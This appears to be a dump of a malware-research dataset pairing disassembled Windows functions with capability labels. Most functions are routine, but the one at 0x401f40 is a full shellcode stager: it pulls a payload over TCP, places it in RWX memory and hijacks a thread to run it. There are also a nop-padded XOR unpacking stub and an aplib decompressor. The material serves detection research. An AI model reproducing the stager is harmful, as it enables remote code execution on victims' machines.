joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46ebc0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.004571e0
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x46ec8b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x46ec8b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x46ec3e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x46ec49
or bh, 8
and edi, 0x8000000
je 0x46ec64
mov eax, dword [0x50943c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x46ec8b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4b0a10
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4b0a48
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004afa14
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004af9eb
jmp 0x4b0a54
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4b2351
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4b2393
call fcn.004c21b2
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp eax, edi
je 0x4b2393
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4b238a
xor eax, eax
jmp 0x4b239b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004b23a1
pop edi
pop esi
pop ebx
ret 4

Function at 0x4b98e5
Capabilities:
Set registry value

Disassembly:
mov eax, 0x4cb00c
call fcn.004570ec
push ecx
push ecx
push esi
push 0x10
call fcn.004afb2a
mov esi, eax
pop ecx
mov dword [ebp - 0x14], esi
and dword [ebp - 4], 0
test esi, esi
je 0x4b9932
mov ecx, esi
call fcn.004b4b11
mov eax, dword [0x4fd758]
lea ecx, [esi + 0xc]
mov dword [ecx], eax
mov eax, dword [ebp + 8]
push dword [ebp + 0xc]
mov byte [ebp - 4], 2
mov dword [esi], vtable.CArchiveException.0
mov dword [esi + 8], eax
call fcn.004af6ed
jmp 0x4b9934
xor esi, esi
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x10]
push 0x4e7d50
push eax
mov dword [ebp - 0x10], esi
call fcn.0045874f
pop esi
Function at 0x100dab30
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [0x10363ff4], 0
je 0x100dab49
mov eax, dword [0x10363ff4]
jmp 0x100dace6
mov dword [0x10363ff4], 0x10363fc4
push 0x28
push 0
push 0x10363fc4
call fcn.100ca84f
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [0x10363fc4], eax
push str.imagehlp.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x10363fc8], eax
cmp dword [0x10363fc8], 0
jne 0x100dab8f
xor eax, eax
jmp 0x100dace6
push str.ImagehlpApiVersionEx
mov eax, dword [0x10363fc8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10363fcc], eax
push str.SymInitialize
mov ecx, dword [0x10363fc8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10363fd0], eax
push str.SymSetOptions
mov edx, dword [0x10363fc8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10363fd4], eax
push str.SymGetOptions
mov eax, dword [0x10363fc8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10363fd8], eax
push str.SymLoadModule
mov ecx, dword [0x10363fc8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10363fdc], eax
push str.SymGetModuleInfo
mov edx, dword [0x10363fc8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10363fe0], eax
push str.SymGetSymFromName
mov eax, dword [0x10363fc8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10363fe4], eax
push str.BindImage
mov ecx, dword [0x10363fc8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10363fe8], eax
push 8
push 0
lea edx, [ebp - 8]
push edx
call fcn.100ca84f
add esp, 0xc
mov word [ebp - 8], 9
cmp dword [0x10363fcc], 0
je 0x100dac6d
lea eax, [ebp - 8]
push eax
call dword [0x10363fcc]
cmp dword [0x10363fcc], 0
je 0x100dac7f
movzx ecx, word [ebp - 8]
cmp ecx, 9
jge 0x100dac9a
mov edx, dword [0x10363fc8]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x10363fc8], 0
xor eax, eax
jmp 0x100dace6
cmp dword [0x10363fd0], 0
je 0x100dacb3
push 0
push 0
mov eax, dword [0x10363fc4]
push eax
call dword [0x10363fd0]
cmp dword [0x10363fd8], 0
je 0x100dace1
cmp dword [0x10363fd4], 0
je 0x100dace1
call dword [0x10363fd8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
and ecx, 7
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [0x10363fd4]
mov eax, dword [0x10363ff4]
mov esp, ebp
pop ebp
ret
Function at 0x100db680
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10285828
push 0x100cbf15
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffd0
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
cmp dword [ebp + 8], 0
jne 0x100db6bd
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x1c]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x100db6f3
push 0xc1
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 0x34], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x34]
jmp 0x100db851
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
cmp dword [edx], 0x4550
je 0x100db72b
push 0xbf
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 0x38], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x38]
jmp 0x100db851
mov eax, dword [ebp - 0x24]
movzx ecx, word [eax + 0x14]
test ecx, ecx
jne 0x100db757
push 0xc0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x3c]
jmp 0x100db851
mov edx, dword [ebp - 0x24]
movzx eax, word [edx + 0x14]
mov ecx, dword [ebp - 0x24]
lea edx, [ecx + eax + 0x18]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x28], 0
jmp 0x100db77a
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x24]
movzx edx, word [ecx + 6]
cmp dword [ebp - 0x28], edx
jae 0x100db82b
push str..detour
mov eax, dword [ebp - 0x28]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0x20]
add ecx, eax
push ecx
call fcn.100c760e
add esp, 8
test eax, eax
jne 0x100db826
mov edx, dword [ebp - 0x28]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x20]
cmp dword [eax + edx + 0xc], 0
je 0x100db7c7
mov ecx, dword [ebp - 0x28]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x20]
cmp dword [edx + ecx + 0x10], 0
jne 0x100db7c9
jmp 0x100db82b
mov eax, dword [ebp - 0x28]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
add edx, dword [ecx + eax + 0xc]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
cmp dword [ecx], 0x30
jb 0x100db7f6
mov edx, dword [ebp - 0x2c]
cmp dword [edx + 4], 0x727444
je 0x100db7f8
jmp 0x100db82b
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 8], 0
jne 0x100db80c
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
mov dword [ecx + 8], eax
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x40]
jmp 0x100db851
jmp 0x100db771
mov dword [ebp - 4], 0xffffffff
jmp 0x100db844
push 0xc0
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x41f993
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41f9d2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41f9d2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41f9d2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41f9d2
cmp dword [ecx + 0x74], 0xe
jbe 0x41f9d2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x432150
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43217d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43217d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x51b4058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.051b41a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x51b407e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x51b406a
add dl, dl
jne 0x51b4089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x51b40dc
xor eax, eax
add dl, dl
jne 0x51b4096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x51b417d
add dl, dl
jne 0x51b40a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x51b40b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x51b40bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x51b40c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x51b40d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x51b4075
mov eax, 1
add dl, dl
jne 0x51b40ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x51b40f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x51b40e1
sub eax, ebx
mov ebx, 1
jne 0x51b4128
mov ecx, 1
add dl, dl
jne 0x51b410e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x51b4119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x51b4105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x51b4075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x51b413f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x51b414a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x51b4136
cmp eax, 0x7d00
jae 0x51b416d
cmp eax, 0x500
jb 0x51b4168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x51b4075
cmp eax, 0x7f
ja 0x51b4170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x51b4075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x51b419e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x51b4075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x4011d0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41fe1a
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x430070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x28], esi
mov edi, dword [ebp + 8]
push 0
mov dword [ebp - 0x2c], esi
call fcn.00403684
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
test edi, edi
jne 0x401290
lea eax, [ebp - 0x20]
mov dword [ebp - 0x24], vtable.std::exception.0
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], str.bad_locale_name
xorps xmm0, xmm0
mov byte [ebp - 0x14], 1
push eax
movq qword [ebp - 0x20], xmm0
call fcn.0040778f
add esp, 8
mov dword [ebp - 0x24], vtable.std::runtime_error.0
lea eax, [ebp - 0x24]
push 0x42edec
push eax
call fcn.00407dce
push edi
push esi
call fcn.004039cc
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040599c
mov esp, ebp
pop ebp
ret 4
Function at 0x401f40
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Execute shellcode via indirect call
Receive data
Receive data on socket
Resume thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x430070]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 6
push 1
push 2
mov edi, edx
mov esi, ecx
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
mov dword [ebp - 0xe], 0
xorps xmm0, xmm0
mov word [ebp - 0xa], 0
mov eax, 2
movq qword [ebp - 0x16], xmm0
push edi
mov dword [ebp - 0x14], esi
mov word [ebp - 0x18], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16], ax
lea eax, [ebp - 0x18]
push 0x10
push eax
push ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401fcc
mov edx, str.connect_to_server_fail
call fcn.00402c20
push eax
call fcn.00402f00
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040599c
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.WS2_32.dll_recv]
lea eax, [ebp - 0x2f0]
push 0
push 4
push eax
push ebx
call edi
cmp eax, 4
je 0x401ffd
mov edx, str.recv_error
call fcn.00402c20
push eax
call fcn.00402f00
add esp, 4
jmp 0x402109
push 0x40
push 0x1000
push dword [ebp - 0x2f0]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x2f4], eax
test eax, eax
je 0x402109
mov ecx, dword [ebp - 0x2f0]
mov esi, eax
push 0
push ecx
push esi
push ebx
call edi
mov ecx, dword [ebp - 0x2f0]
add esi, eax
sub ecx, eax
mov dword [ebp - 0x2f0], ecx
test eax, eax
jle 0x402047
test ecx, ecx
jne 0x402028
lea eax, [ebp - 0x1c]
push eax
push 4
push 0
push 0x401f10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x4020f5
lea eax, [ebp - 0x2ec]
mov dword [ebp - 0x2ec], 0x1003f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x402097
mov edx, str.GetThreadContext_ok
call fcn.00402c20
push eax
call fcn.00402f00
add esp, 4
mov eax, dword [ebp - 0x2f4]
mov dword [ebp - 0x234], eax
lea eax, [ebp - 0x2ec]
push eax
push esi
mov dword [ebp - 0x250], ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x4020c8
push str.SetThreadContext_ok
call fcn.004034f0
add esp, 4
push 2
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040599c
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x2f4]
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 8]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040599c
mov esp, ebp
pop ebp
ret
Function at 0x402130
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x198
mov eax, dword [0x430070]
xor eax, esp
mov dword [esp + 0x194], eax
push esi
push edi
mov edi, dword [ebp + 0xc]
lea eax, [esp + 8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40217a
or eax, 0xffffffff
pop edi
pop esi
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.0040599c
mov esp, ebp
pop ebp
ret
push ecx
push dword [edi + 8]
call fcn.0040cc75
add esp, 4
mov esi, eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_inet_addr]
mov edx, esi
mov ecx, eax
call fcn.00401f40
add esp, 4
push 0xf4240
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x19c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.0040599c
mov esp, ebp
pop ebp
ret

Function at 0x414ed1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00414d50

Function at 0x418aeb
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004187ab
Function at 0x401006
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b004]
jne 0x401010
repz ret
jmp fcn.0040169c

Function at 0x4077b5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404ed2
and dword [ebp - 4], 0
cmp dword [0x42d55c], 0
mov ebx, eax
jne 0x407866
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x407917
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x407917
push eax
call fcn.00404e60
mov dword [esp], 0x428a3c
push edi
mov dword [0x42d55c], eax
call esi
push eax
call fcn.00404e60
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42d560], eax
call esi
push eax
call fcn.00404e60
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42d564], eax
call esi
push eax
call fcn.00404e60
pop ecx
mov dword [0x42d56c], eax
test eax, eax
je 0x407866
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404e60
pop ecx
mov dword [0x42d568], eax
mov eax, dword [0x42d568]
cmp eax, ebx
je 0x4078be
cmp dword [0x42d56c], ebx
je 0x4078be
push eax
call fcn.00404edb
push dword [0x42d56c]
mov esi, eax
call fcn.00404edb
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4078be
test edi, edi
je 0x4078be
call esi
test eax, eax
je 0x4078b5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4078b5
test byte [ebp - 0xc], 1
jne 0x4078be
or dword [ebp + 0x10], 0x200000
jmp 0x4078f7
mov eax, dword [0x42d560]
cmp eax, ebx
je 0x4078f7
push eax
call fcn.00404edb
pop ecx
test eax, eax
je 0x4078f7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4078f7
mov eax, dword [0x42d564]
cmp eax, ebx
je 0x4078f7
push eax
call fcn.00404edb
pop ecx
test eax, eax
je 0x4078f7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42d55c]
call fcn.00404edb
pop ecx
test eax, eax
je 0x407917
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x407919
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret